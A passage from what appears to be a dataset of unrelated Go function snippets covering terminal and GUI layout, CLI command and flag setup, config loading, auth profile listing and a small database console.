+\n\t\t\ts.uiContent[row][endCol:])\n\t}\n\n\td.DebugLog(s.uiContent)\n\n\tfmt.Printf(CLR_SCREEN + gotoPosition(0, 0))\n\tfmt.Print(s.String())\n}", "func NewUi(w *app.Window) *Ui {\n\tu := Ui{\n\t\tw: w,\n\t\tth: material.NewTheme(gofont.Collection()),\n\t\tga: engine.NewGame(),\n\t}\n\tu.th.TextSize = unit.Dp(topMenuPx / 5)\n\tu.ga.ScaleOffset(WidthPx)\n\tu.nameEditor = &widget.Editor{\n\t\tSingleLine: true,\n\t\tSubmit: true,\n\t}\n\tu.menuBtn.pressed = true\n\tu.titleScreen = true\n\treturn &u\n}", "func init() {\n\ttermcols = 80\n\tupdateWinSize()\n\n\tch := make(chan os.Signal, 1)\n\tsignal.Notify(ch, syscall.SIGWINCH)\n\n\tgo func() {\n\t\tfor {\n\t\t\t// Wait for signal\n\t\t\t<-ch\n\t\t\tupdateWinSize()\n\t\t}\n\t}()\n}", "func BuildRootCmd(conf *config.Config) cobra.Command {\n\trootCmd := cobra.Command{\n\t\tUse: \"upctl\",\n\t\tShort: \"UpCloud CLI\",\n\t\tLong: \"upctl a CLI tool for managing your UpCloud services.\",\n\t\tPersistentPreRunE: func(cmd *cobra.Command, args []string) error {\n\t\t\t_, err := valid.ValidateStruct(conf.GlobalFlags)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\t// detect desired colour output\n\t\t\tswitch {\n\t\t\tcase conf.GlobalFlags.ForceColours == config.True:\n\t\t\t\ttext.EnableColors()\n\t\t\tcase conf.GlobalFlags.NoColours == config.True:\n\t\t\t\ttext.DisableColors()\n\t\t\tdefault:\n\t\t\t\tif terminal.IsStdoutTerminal() {\n\t\t\t\t\ttext.EnableColors()\n\t\t\t\t} else {\n\t\t\t\t\ttext.DisableColors()\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Set up flume\n\t\t\tflume.SetOut(os.Stderr)\n\t\t\t// TODO: should we make the level configurable?\n\t\t\tlogLvl := flume.DebugLevel\n\t\t\tif !conf.GlobalFlags.Debug {\n\t\t\t\t// not debugging, no log output!\n\t\t\t\tlogLvl = flume.OffLevel\n\t\t\t}\n\t\t\taddCaller := true\n\t\t\tif err := flume.Configure(flume.Config{\n\t\t\t\tAddCaller: &addCaller,\n\t\t\t\tDefaultLevel: logLvl,\n\t\t\t\t// do not colour logs, as it doesn't really fit our use case and complicates the colour handling\n\t\t\t\tEncoding: \"ltsv\",\n\t\t\t}); err != nil {\n\t\t\t\treturn fmt.Errorf(\"flume config error: %w\", err)\n\t\t\t}\n\n\t\t\tif err := conf.Load(); err != nil {\n\t\t\t\treturn fmt.Errorf(\"cannot load configuration: %w\", err)\n\t\t\t}\n\n\t\t\t// Validate viper output binding too\n\t\t\tif conf.Output() != config.ValueOutputHuman &&\n\t\t\t\tconf.Output() != config.ValueOutputJSON &&\n\t\t\t\tconf.Output() != config.ValueOutputYAML {\n\t\t\t\treturn fmt.Errorf(\"output format '%v' not accepted\", conf.Output())\n\t\t\t}\n\n\t\t\treturn nil\n\t\t},\n\t}\n\n\trootCmd.BashCompletionFunction = commands.CustomBashCompletionFunc(rootCmd.Use)\n\n\tflags := &pflag.FlagSet{}\n\tflags.StringVarP(\n\t\t&conf.GlobalFlags.ConfigFile, \"config\", \"\", \"\", \"Config file\",\n\t)\n\tflags.StringVarP(\n\t\t&conf.GlobalFlags.OutputFormat, \"output\", \"o\", \"human\",\n\t\t\"Output format (supported: json, yaml and human)\",\n\t)\n\tconfig.AddToggleFlag(flags, &conf.GlobalFlags.ForceColours, \"force-colours\", false, \"force coloured output despite detected terminal support\")\n\tconfig.AddToggleFlag(flags, &conf.GlobalFlags.NoColours, \"no-colours\", false, \"disable coloured output despite detected terminal support\")\n\tflags.BoolVar(\n\t\t&conf.GlobalFlags.Debug, \"debug\", false,\n\t\t\"Print out more verbose debug logs\",\n\t)\n\tflags.DurationVarP(\n\t\t&conf.GlobalFlags.ClientTimeout, \"client-timeout\", \"t\",\n\t\t0,\n\t\t\"CLI timeout when using interactive mode on some commands\",\n\t)\n\n\t// XXX: Apply viper value to the help as default\n\t// Add flags\n\tflags.VisitAll(func(flag *pflag.Flag) {\n\t\trootCmd.PersistentFlags().AddFlag(flag)\n\t})\n\tconf.ConfigBindFlagSet(flags)\n\n\trootCmd.SetUsageTemplate(ui.CommandUsageTemplate())\n\trootCmd.SetUsageFunc(ui.UsageFunc)\n\n\treturn rootCmd\n}", "func reading_console(iConf conf.ConfStruct) {\n\treader := bufio.NewReader(os.Stdin)\n\twriteWelcome(iConf)\n\tprintln(\"DBHOST:\" + readExternal.ReadSettings().DB_adress)\n\t_, lConfLocation := readExternal.LoadFromOSArgs()\n\tgvConf := conf.GetConfig(lConfLocation)\n\tprintln(\"database:\", gvConf.DB_databases.Logger)\n\tfor {\n\t\tfmt.Print(\"-> \")\n\n\t\ttext, _ := reader.ReadString('\\n')\n\t\tvar lineEnding string = data.LineEnding\n\t\tif runtime.GOOS == \"windows\" {\n\t\t\tlineEnding = data.LineEndingWindows\n\t\t}\n\t\ttext = strings.Replace(text, lineEnding, \"\", -1)\n\n\t\tif text == \"create\" {\n\t\t\tservices.CreateDatabaseTables(gvConnection, gvDatabase)\n\t\t} else if text == \"drop\" && !iConf.In_PRODUCTIONSYSTEM {\n\t\t\tservices.DropDatabaseTable(gvConnection, gvDatabase)\n\t\t} else if text == \"dropcreate\" && !iConf.In_PRODUCTIONSYSTEM {\n\t\t\tservices.DropDatabaseTable(gvConnection, gvDatabase)\n\t\t\tservices.CreateDatabaseTables(gvConnection, gvDatabase)\n\t\t} else if text == \"exit\" {\n\t\t\tbreak\n\t\t} else {\n\t\t\tfmt.Println(\"keine gültige Anweisung\")\n\t\t}\n\t}\n}", "func onLaunch() {\n\tmenu := &Menu{}\n\n\tapp.MenuBar().Mount(menu)\n\tapp.Dock().Mount(menu)\n\n\tmainWindow = newWelcomeWindow()\n}", "func layout(g *gocui.Gui) error {\n\n\t// Get rid of warnings\n\t_ = g\n\n\t// Get size of the terminal\n\tmaxX, maxY := clientGui.Size()\n\n\t// Creates view \"messages\"\n\tmessages, err := clientGui.SetView(\"messages\", 0, 0, maxX-1, maxY-3)\n\tif err != nil {\n\t\tif err != gocui.ErrUnknownView {\n\t\t\treturn err\n\t\t}\n\t\tmessages.Autoscroll = true\n\t\tmessages.Wrap = true\n\t}\n\n\t// Creates view \"input\"\n\tinput, err := clientGui.SetView(\"input\", 0, maxY-4, maxX-1, maxY-1)\n\tif err != nil {\n\t\tif err != gocui.ErrUnknownView {\n\t\t\treturn err\n\t\t}\n\t\tinput.Wrap = true\n\t\tinput.Editable = true\n\t}\n\n\t// Set view \"input\" as the current view with focus and cursor\n\t_, err = clientGui.SetCurrentView(\"input\")\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// Show cursor\n\tclientGui.Cursor = true\n\n\treturn nil\n}", "func (s SimpleTermUI) New() UI {\n\ts.sizeX = 30\n\ts.sizeY = 120\n\n\ts.uiContent = make([]string, s.sizeX)\n\tfor row := 0; row < s.sizeX; row++ {\n\t\ts.uiContent[row] = padTo(\"\", s.sizeY)\n\t}\n\n\treturn s\n}", "func configureAliyunCLI() {\n\tfmt.Println(\"Configuring aliyun cli...\")\n\toperate(\"aliyun\", \"\")\n}", "func (opt *MainOpt) UpdateOptions() {\n\n\topt.MainWinWidth, opt.MainWinHeight = mainObjects.MainWindow.GetSize()\n\topt.MainWinPosX, opt.MainWinPosY = mainObjects.MainWindow.GetPosition()\n\n\topt.Reminder = mainObjects.CheckbuttonAddReminder.GetActive()\n\topt.Md4 = mainObjects.CheckbuttonMd4.GetActive()\n\topt.Md5 = mainObjects.CheckbuttonMd5.GetActive()\n\topt.Sha1 = mainObjects.CheckbuttonSha1.GetActive()\n\topt.Sha256 = mainObjects.CheckbuttonSha256.GetActive()\n\topt.Sha384 = mainObjects.CheckbuttonSha384.GetActive()\n\topt.Sha512 = mainObjects.CheckbuttonSha512.GetActive()\n\topt.Sha3_256 = mainObjects.CheckbuttonSha3_256.GetActive()\n\topt.Sha3_384 = mainObjects.CheckbuttonSha3_384.GetActive()\n\topt.Sha3_512 = mainObjects.CheckbuttonSha3_512.GetActive()\n\topt.Blake2b256 = mainObjects.CheckbuttonBlake2b256.GetActive()\n\topt.Blake2b384 = mainObjects.CheckbuttonBlake2b384.GetActive()\n\topt.Blake2b512 = mainObjects.CheckbuttonBlake2b512.GetActive()\n\topt.ShowFilename = mainObjects.CheckbuttonShowFilename.GetActive()\n\topt.AppendDroppedFiles = mainObjects.CheckbuttonAppendFiles.GetActive()\n\topt.UseDecimal = mainObjects.CheckbuttonUseDecimal.GetActive()\n\topt.ConcurrentOp = mainObjects.CheckbuttonConcurrentOp.GetActive()\n\topt.RecursiveScan = mainObjects.CheckbuttonRecursiveScan.GetActive()\n\topt.MakeOutputFile = mainObjects.CheckbuttonCreateFile.GetActive()\n\n\topt.CurrentStackPage = mainObjects.Stack.GetVisibleChildName()\n\topt.SwitchStackPage = mainObjects.SwitchTreeView.GetActive()\n\topt.SwitchExpandState = mainObjects.SwitchExpand.GetActive()\n\n\topt.ShowSplash = mainObjects.CheckbuttonShowSplash.GetActive()\n}", "func initAuth() {\n\tif authInitialized {\n\t\treturn\n\t}\n\tauthInitialized = true\n\n\t// Set up the credentials file\n\tInitCredentialsFile()\n\n\t// Add base auth commands\n\tauthCommand = &cobra.Command{\n\t\tUse: \"auth\",\n\t\tShort: \"Authentication settings\",\n\t}\n\tRoot.AddCommand(authCommand)\n\n\tauthAddCommand = &cobra.Command{\n\t\tUse: \"add-profile\",\n\t\tAliases: []string{\"add\"},\n\t\tShort: \"Add user profile for authentication\",\n\t}\n\tauthCommand.AddCommand(authAddCommand)\n\n\tauthCommand.AddCommand(&cobra.Command{\n\t\tUse: \"list-profiles\",\n\t\tAliases: []string{\"ls\"},\n\t\tShort: \"List available configured authentication profiles\",\n\t\tArgs: cobra.NoArgs,\n\t\tRun: func(cmd *cobra.Command, args []string) {\n\t\t\tprofiles := Creds.GetStringMap(\"profiles\")\n\n\t\t\tif profiles != nil {\n\t\t\t\t// Use a map as a set to find the available auth type names.\n\t\t\t\ttypes := make(map[string]bool)\n\t\t\t\tfor _, v := range profiles {\n\t\t\t\t\tif typeName := v.(map[string]interface{})[\"type\"]; typeName != nil {\n\t\t\t\t\t\ttypes[typeName.(string)] = true\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t// For each type name, draw a table with the relevant profile keys\n\t\t\t\tfor typeName := range types {\n\t\t\t\t\thandler := AuthHandlers[typeName]\n\t\t\t\t\tif handler == nil {\n\t\t\t\t\t\tcontinue\n\t\t\t\t\t}\n\n\t\t\t\t\tlistKeys := handler.ProfileKeys()\n\n\t\t\t\t\ttable := tablewriter.NewWriter(os.Stdout)\n\t\t\t\t\ttable.SetHeader(append([]string{fmt.Sprintf(\"%s Profile Name\", typeName)}, listKeys...))\n\n\t\t\t\t\tfor name, p := range profiles {\n\t\t\t\t\t\tprofile := p.(map[string]interface{})\n\t\t\t\t\t\tif ptype := profile[\"type\"]; ptype == nil || ptype.(string) != typeName {\n\t\t\t\t\t\t\tcontinue\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\trow := []string{name}\n\t\t\t\t\t\tfor _, key := range listKeys {\n\t\t\t\t\t\t\trow = append(row, profile[strings.Replace(key, \"-\", \"_\", -1)].(string))\n\t\t\t\t\t\t}\n\t\t\t\t\t\ttable.Append(row)\n\t\t\t\t\t}\n\t\t\t\t\ttable.Render()\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tfmt.Printf(\"No profiles configured. Use `%s auth add-profile` to add one.\\n\", Root.CommandPath())\n\t\t\t}\n\t\t},\n\t})\n\n\t// Install auth middleware\n\tClient.UseRequest(func(ctx *context.Context, h context.Handler) {\n\t\tprofile := GetProfile()\n\n\t\thandler := AuthHandlers[profile[\"type\"]]\n\t\tif handler == nil {\n\t\t\th.Error(ctx, fmt.Errorf(\"no handler for auth type %s\", profile[\"type\"]))\n\t\t\treturn\n\t\t}\n\n\t\tif err := handler.OnRequest(ctx.Get(\"log\").(*zerolog.Logger), ctx.Request); err != nil {\n\t\t\th.Error(ctx, err)\n\t\t\treturn\n\t\t}\n\n\t\th.Next(ctx)\n\t})\n}", "func (v *App) Configure() {\n\tfmt.Println(\"App configuring...\")\n\n\tv.txtSimStatus = NewText(v.nFont, v.renderer)\n\terr := v.txtSimStatus.SetText(\"Status: \"+v.status, sdl.Color{R: 127, G: 64, B: 0, A: 255})\n\tif err != nil {\n\t\tv.Close()\n\t\tpanic(err)\n\t}\n\n\tv.txtActiveProperty = NewField(v.nFont, v.renderer)\n\tv.txtActiveProperty.SetPosition(5, 30)\n\n\t// v.dynaTxt = NewDynaText(v.nFont, v.renderer)\n}", "func main() {\n\terr := initiateDatabaseIfNeeded()\n\tif err != nil {\n\t\tcolor.HiRed(\"Error initiating database file '\" + databaseFilename + \"' (\" + err.Error() + \")\")\n\t\treturn\n\t}\n\tif len(os.Args) == 1 {\n\t\tfmt.Println(color.HiWhiteString(\"Launching user interface...\"))\n\t} else {\n\t\tcli(os.Args[1:])\n\t}\n}", "func init() {\n\twidth, _, err := terminal.GetSize(int(os.Stdout.Fd()))\n\n\t// github actions doesnt like us doing stdin/stdout stuff...\n\t// maybe we should just set a sane default here\n\tif err != nil {\n\t\tfmt.Println(\"Unable to determine terminal size!\")\n\t}\n\n\tterminalWidth = width\n}", "func main() {\n\tapp := cli.NewApp()\n\tapp.Name = \"pepper gui\"\n\tapp.Usage = \"User interface for pepper\"\n\tapp.Flags = []cli.Flag{\n\t\tcli.StringFlag{\n\t\t\tName: \"ip\",\n\t\t\tValue: \"127.0.0.1\",\n\t\t\tUsage: \"IP to bind\",\n\t\t},\n\t\tcli.IntFlag{\n\t\t\tName: \"port\",\n\t\t\tValue: 6480,\n\t\t\tUsage: \"port to bind\",\n\t\t},\n\t}\n\tapp.Action = func(c *cli.Context) {\n\t\trouter := httprouter.New()\n\t\t// prod (tag dev is not present)\n\t\tif assets == nil {\n\t\t\t// rices boxes\n\t\t\thttpbox := rice.MustFindBox(\"../assets/http\")\n\t\t\tassets = httpbox.HTTPBox()\n\t\t}\n\n\t\t// assets\n\t\trouter.Handler(\"GET\", \"/assets/*res\", http.StripPrefix(\"/assets/\", http.FileServer(assets)))\n\n\t\t// index\n\t\trouter.HandlerFunc(\"GET\", \"/\", handlerIndex)\n\n\t\t// http server\n\t\thttpAddr := c.String(\"ip\") + \":\" + strconv.FormatInt(int64(c.Int(\"port\")), 10)\n\t\tbrowserAddr := httpAddr\n\t\tif c.String(\"ip\") == \"0.0.0.0\" {\n\t\t\tbrowserAddr = \"127.0.0.1:\" + strconv.FormatInt(int64(c.Int(\"port\")), 10)\n\t\t}\n\n\t\tn := negroni.New(negroni.NewRecovery())\n\t\tn.UseHandler(router)\n\t\tselect {\n\t\tcase <-time.After(1 * time.Second):\n\t\t\tbrowser.OpenURL(browserAddr)\n\t\t}\n\t\tlog.Println(\"GUI HTTP server listening on \" + httpAddr)\n\t\tlog.Fatalln(http.ListenAndServe(httpAddr, n))\n\t}\n\n\tapp.Run(os.Args)\n\n}", "func layout(g *gocui.Gui) error {\n\n\t// Get size of the terminal\n\tmaxX, maxY := g.Size()\n\n\t// Creates view \"messages\"\n\tif messages, err := g.SetView(\"messages\", 0, 0, maxX-1, maxY-3); err != nil {\n\t\tif err != gocui.ErrUnknownView {\n\t\t\treturn err\n\t\t}\n\t\tmessages.Autoscroll = true\n\t\tmessages.Wrap = true\n\n\t\tmessages.Write([]byte(initialMessages))\n\t}\n\n\t// Creates view \"input\"\n\tif input, err := g.SetView(\"input\", 0, maxY-4, maxX-1, maxY-1); err != nil {\n\t\tif err != gocui.ErrUnknownView {\n\t\t\treturn err\n\t\t}\n\t\tinput.Wrap = true\n\t\tinput.Editable = true\n\t}\n\n\t// Set view \"input\" as the current view with focus and cursor\n\tif _, err := g.SetCurrentView(\"input\"); err != nil {\n\t\treturn err\n\t}\n\n\t// Show cursor\n\tg.Cursor = true\n\n\treturn nil\n}", "func (gui *Gui) layout(g *gocui.Gui) error {\n\tg.Highlight = true\n\twidth, height := g.Size()\n\n\tinformation := gui.Config.GetVersion()\n\tif gui.g.Mouse {\n\t\tdonate := color.New(color.FgMagenta, color.Underline).Sprint(gui.Tr.SLocalize(\"Donate\"))\n\t\tinformation = donate + \" \" + information\n\t}\n\n\tminimumHeight := 9\n\tminimumWidth := 10\n\tif height < minimumHeight || width < minimumWidth {\n\t\tv, err := g.SetView(\"limit\", 0, 0, width-1, height-1, 0)\n\t\tif err != nil {\n\t\t\tif err.Error() != \"unknown view\" {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tv.Title = gui.Tr.SLocalize(\"NotEnoughSpace\")\n\t\t\tv.Wrap = true\n\t\t\t_, _ = g.SetViewOnTop(\"limit\")\n\t\t}\n\t\treturn nil\n\t}\n\n\tvHeights := gui.getViewHeights()\n\n\toptionsVersionBoundary := width - max(len(utils.Decolorise(information)), 1)\n\n\tappStatus := gui.statusManager.getStatusString()\n\tappStatusOptionsBoundary := 0\n\tif appStatus != \"\" {\n\t\tappStatusOptionsBoundary = len(appStatus) + 2\n\t}\n\n\t_, _ = g.SetViewOnBottom(\"limit\")\n\t_ = g.DeleteView(\"limit\")\n\n\ttextColor := theme.GocuiDefaultTextColor\n\n\tmain := \"main\"\n\tsecondary := \"secondary\"\n\n\tmainPanelLeft, mainPanelTop, mainPanelRight, mainPanelBottom, err := gui.getMainViewDimensions()\n\tif err != nil {\n\t\treturn err\n\t}\n\tleftSideWidth := mainPanelLeft - 1\n\n\tv, err := g.SetView(main, mainPanelLeft, mainPanelTop, mainPanelRight, mainPanelBottom, 0)\n\tif err != nil {\n\t\tif err.Error() != \"unknown view\" {\n\t\t\treturn err\n\t\t}\n\t\tv.Wrap = true\n\t\tv.FgColor = textColor\n\t\tv.Autoscroll = true\n\t}\n\n\tfor _, commandView := range gui.State.CommandViewMap {\n\t\t_, _ = g.SetView(commandView.View.Name(), mainPanelLeft, mainPanelTop, mainPanelRight, mainPanelBottom, 0)\n\t}\n\n\thiddenViewOffset := 9999\n\n\tsecondaryView, err := g.SetView(secondary, mainPanelLeft, 0, width-1, mainPanelTop-1, 0)\n\tif err != nil {\n\t\tif err.Error() != \"unknown view\" {\n\t\t\treturn err\n\t\t}\n\t\tsecondaryView.Wrap = true\n\t\tsecondaryView.FgColor = gocui.ColorWhite\n\t}\n\n\tif v, err := g.SetView(\"status\", 0, 0, leftSideWidth, vHeights[\"status\"]-1, gocui.BOTTOM|gocui.RIGHT); err != nil {\n\t\tif err.Error() != \"unknown view\" {\n\t\t\treturn err\n\t\t}\n\t\tv.Title = gui.Tr.SLocalize(\"StatusTitle\")\n\t\tv.FgColor = textColor\n\t}\n\n\tpackagesView, err := g.SetViewBeneath(\"packages\", \"status\", vHeights[\"packages\"])\n\tif err != nil {\n\t\tif err.Error() != \"unknown view\" {\n\t\t\treturn err\n\t\t}\n\t\tpackagesView.Highlight = true\n\t\tpackagesView.Title = gui.Tr.SLocalize(\"PackagesTitle\")\n\t\tpackagesView.ContainsList = true\n\t}\n\n\tdepsView, err := g.SetViewBeneath(\"deps\", \"packages\", vHeights[\"deps\"])\n\tif err != nil {\n\t\tif err.Error() != \"unknown view\" {\n\t\t\treturn err\n\t\t}\n\t\tdepsView.Title = gui.Tr.SLocalize(\"DepsTitle\")\n\t\tdepsView.FgColor = textColor\n\t\tdepsView.ContainsList = true\n\t}\n\n\tscriptsView, err := g.SetViewBeneath(\"scripts\", \"deps\", vHeights[\"scripts\"])\n\tif err != nil {\n\t\tif err.Error() != \"unknown view\" {\n\t\t\treturn err\n\t\t}\n\t\tscriptsView.Title = gui.Tr.SLocalize(\"ScriptsTitle\")\n\t\tscriptsView.FgColor = textColor\n\t\tscriptsView.ContainsList = true\n\t}\n\n\ttarballsView, err := g.SetViewBeneath(\"tarballs\", \"scripts\", vHeights[\"tarballs\"])\n\tif err != nil {\n\t\tif err.Error() != \"unknown view\" {\n\t\t\treturn err\n\t\t}\n\t\ttarballsView.Title = gui.Tr.SLocalize(\"TarballsTitle\")\n\t\ttarballsView.FgColor = textColor\n\t\ttarballsView.ContainsList = true\n\t}\n\ttarballsView.Visible = gui.showTarballsView()\n\n\tif v, err := g.SetView(\"options\", appStatusOptionsBoundary-1, height-2, optionsVersionBoundary-1, height, 0); err != nil {\n\t\tif err.Error() != \"unknown view\" {\n\t\t\treturn err\n\t\t}\n\t\tv.Frame = false\n\t\tv.FgColor = theme.OptionsColor\n\t}\n\n\tsearchViewOffset := hiddenViewOffset\n\tif gui.State.Searching.isSearching {\n\t\tsearchViewOffset = 0\n\t}\n\n\t// this view takes up one character. Its only purpose is to show the slash when searching\n\tsearchPrefix := \"search: \"\n\tif searchPrefixView, err := g.SetView(\"searchPrefix\", appStatusOptionsBoundary-1+searchViewOffset, height-2+searchViewOffset, len(searchPrefix)+searchViewOffset, height+searchViewOffset, 0); err != nil {\n\t\tif err.Error() != \"unknown view\" {\n\t\t\treturn err\n\t\t}\n\n\t\tsearchPrefixView.BgColor = gocui.ColorDefault\n\t\tsearchPrefixView.FgColor = gocui.ColorGreen\n\t\tsearchPrefixView.Frame = false\n\t\tgui.setViewContent(gui.g, searchPrefixView, searchPrefix)\n\t}\n\n\tif searchView, err := g.SetView(\"search\", appStatusOptionsBoundary-1+searchViewOffset+len(searchPrefix), height-2+searchViewOffset, optionsVersionBoundary+searchViewOffset, height+searchViewOffset, 0); err != nil {\n\t\tif err.Error() != \"unknown view\" {\n\t\t\treturn err\n\t\t}\n\n\t\tsearchView.BgColor = gocui.ColorDefault\n\t\tsearchView.FgColor = gocui.ColorGreen\n\t\tsearchView.Frame = false\n\t\tsearchView.Editable = true\n\t}\n\n\tif appStatusView, err := g.SetView(\"appStatus\", -1, height-2, width, height, 0); err != nil {\n\t\tif err.Error() != \"unknown view\" {\n\t\t\treturn err\n\t\t}\n\t\tappStatusView.BgColor = gocui.ColorDefault\n\t\tappStatusView.FgColor = gocui.ColorCyan\n\t\tappStatusView.Frame = false\n\t\tif _, err := g.SetViewOnBottom(\"appStatus\"); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tinformationView, err := g.SetView(\"information\", optionsVersionBoundary-1, height-2, width, height, 0)\n\tif err != nil {\n\t\tif err.Error() != \"unknown view\" {\n\t\t\treturn err\n\t\t}\n\t\tinformationView.BgColor = gocui.ColorDefault\n\t\tinformationView.FgColor = gocui.ColorGreen\n\t\tinformationView.Frame = false\n\t\tgui.renderString(\"information\", information)\n\n\t\t// doing this here because it'll only happen once\n\t\tif err := gui.onInitialViewsCreation(); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\tif gui.State.OldInformation != information {\n\t\tgui.setViewContent(g, informationView, information)\n\t\tgui.State.OldInformation = information\n\t}\n\n\tif gui.g.CurrentView() == nil {\n\t\tinitialView := gui.getPackagesView()\n\t\tif _, err := gui.g.SetCurrentView(initialView.Name()); err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tif err := gui.switchFocus(nil, initialView); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\ttype listViewState struct {\n\t\tselectedLine int\n\t\tlineCount int\n\t\tview *gocui.View\n\t\tcontext string\n\t\tlistView *listView\n\t}\n\n\tlistViewStates := []listViewState{\n\t\t{view: packagesView, context: \"\", selectedLine: gui.State.Panels.Packages.SelectedLine, lineCount: len(gui.State.Packages), listView: gui.packagesListView()},\n\t\t{view: depsView, context: \"\", selectedLine: gui.State.Panels.Deps.SelectedLine, lineCount: len(gui.State.Deps), listView: gui.depsListView()},\n\t\t{view: scriptsView, context: \"\", selectedLine: gui.State.Panels.Scripts.SelectedLine, lineCount: len(gui.getScripts()), listView: gui.scriptsListView()},\n\t\t{view: tarballsView, context: \"\", selectedLine: gui.State.Panels.Tarballs.SelectedLine, lineCount: len(gui.State.Tarballs), listView: gui.tarballsListView()},\n\t}\n\n\t// menu view might not exist so we check to be safe\n\tif menuView, err := gui.g.View(\"menu\"); err == nil {\n\t\tlistViewStates = append(listViewStates, listViewState{view: menuView, context: \"\", selectedLine: gui.State.Panels.Menu.SelectedLine, lineCount: gui.State.MenuItemCount, listView: gui.menuListView()})\n\t}\n\tfor _, listViewState := range listViewStates {\n\t\t// ignore views where the context doesn't match up with the selected line we're trying to focus\n\t\tif listViewState.context != \"\" && (listViewState.view.Context != listViewState.context) {\n\t\t\tcontinue\n\t\t}\n\t\t// check if the selected line is now out of view and if so refocus it\n\t\tlistViewState.view.FocusPoint(0, listViewState.selectedLine)\n\n\t\t// I doubt this is expensive though it's admittedly redundant after the first render\n\t\tlistViewState.view.SetOnSelectItem(gui.onSelectItemWrapper(listViewState.listView.onSearchSelect))\n\t}\n\n\tmainViewWidth, mainViewHeight := gui.getMainView().Size()\n\tif mainViewWidth != gui.State.PrevMainWidth || mainViewHeight != gui.State.PrevMainHeight {\n\t\tgui.State.PrevMainWidth = mainViewWidth\n\t\tgui.State.PrevMainHeight = mainViewHeight\n\t\tif err := gui.onResize(); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\t// here is a good place log some stuff\n\t// if you download humanlog and do tail -f development.log | humanlog\n\t// this will let you see these branches as prettified json\n\t// gui.Log.Info(utils.AsJson(gui.State.Branches[0:4]))\n\treturn gui.resizeCurrentPopupPanel(g)\n}", "func Init() {\n\tutil.DebugPrintCaller()\n\tutil.InitLogger()\n\t// ut.Verbose = vp.Cfg.Verbose\n\t// ut.Pdebug(\"root.init called\\n\")\n\n\tapp := cli.NewApp()\n\n\tapp.Name = \"invoice\"\n\tapp.Version = vp.Version\n\tapp.Authors = []cli.Author{\n\t\t{Name: \"S.H. Yang\", Email: \"[email protected]\"},\n\t}\n\n\tapp.Usage = \"Handling the invoices from the E-Invoice platform\"\n\tapp.Description = `The invoices mailed from the E-Invoice platform of Ministry of Finance, R.O.C. (Taiwan)\n\tis encoded by Big-5 of Chinese character encoding method. Unfortunately, most OS and \n\tapplocation use utf-8 encoding. This command can transfer a original Big-5 .csv file \n\tto other file types using utf-8 encoding; these file types include .json, .xml, .xlsx, \n\tor .yaml.`\n\n\tapp.Commands = []cli.Command{\n\t\tExecuteCommand(),\n\t\tInitialCommand(),\n\t\tDumpCommand(),\n\t\tRecoveryCommand(),\n\t\tListCommand(),\n\t}\n\n\tapp.Flags = []cli.Flag{\n\t\tcli.StringFlag{\n\t\t\tName: \"verbose,V\",\n\t\t\tUsage: `verbose output of logging information (default log-level is \"info\") \n\t\tlogging-levle are \"disable\", \"info\", \"warn\", \"error\", and \"debug\"\n\t\t\"disable\" will disable printer\n\t\t\"error\" will print only errors\n\t\t\"warn\" will print errors and warnings\n\t\t\"info\" will print errors, warnings and infos\n\t\t\"debug\" will print on any level, errors, warnings, infos and debug messages`,\n\t\t},\n\t}\n\n\tif err := app.Run(os.Args); err != nil {\n\t\tfmt.Println(err)\n\t\tos.Exit(-1)\n\t}\n}", "func (c *Config) setupConsoleClient() {\n\tclient, err := console.NewClient(nil, &console.Config{\n\t\tRegion: c.Region,\n\t\tDebugLog: c.DebugLog,\n\t})\n\tif err != nil {\n\t\tc.consoleClient = nil\n\t\tc.consoleClientErr = err\n\t\treturn\n\t}\n\tif c.UAAUsername == \"\" || c.UAAPassword == \"\" {\n\t\tc.consoleClientErr = ErrMissingUAACredentials\n\t\tc.consoleClient = nil\n\t\treturn\n\t}\n\terr = client.Login(c.UAAUsername, c.UAAPassword)\n\tif err != nil {\n\t\tc.consoleClientErr = err\n\t\treturn\n\t}\n\tc.consoleClient = client\n}", "func initConfig() {\n\tif debug {\n\t\tlogrus.SetLevel(logrus.DebugLevel)\n\t}\n\tif cfgFile != \"\" {\n\t\t// Use config file from the flag.\n\t\tviper.SetConfigFile(cfgFile)\n\t} else {\n\t\t// Find home directory.\n\t\thome, err := homedir.Dir()\n\t\tif err != nil {\n\t\t\tfmt.Println(err)\n\t\t\tos.Exit(1)\n\t\t}\n\n\t\t// Search config in home directory with name \".izlyctl\" (without extension).\n\t\tviper.AddConfigPath(home)\n\t\tviper.SetConfigName(\".izlyctl\")\n\t}\n\n\tviper.AutomaticEnv() // read in environment variables that match\n\n\t// If a config file is found, read it in.\n\tif err := viper.ReadInConfig(); err == nil {\n\t\tlogrus.Debugf(\"Using config file: %s\", viper.ConfigFileUsed())\n\t}\n\tviper.BindPFlag(\"api.auth.login\", rootCmd.PersistentFlags().Lookup(\"user\"))\n\tviper.BindPFlag(\"api.auth.password\", rootCmd.PersistentFlags().Lookup(\"password\"))\n\tviper.BindPFlag(\"api.url\", rootCmd.PersistentFlags().Lookup(\"server\"))\n\tviper.BindPFlag(\"user.rate\", rootCmd.PersistentFlags().Lookup(\"rate\"))\n\tviper.BindPFlag(\"user.dueDate\", rootCmd.PersistentFlags().Lookup(\"dueDate\"))\n}" ]
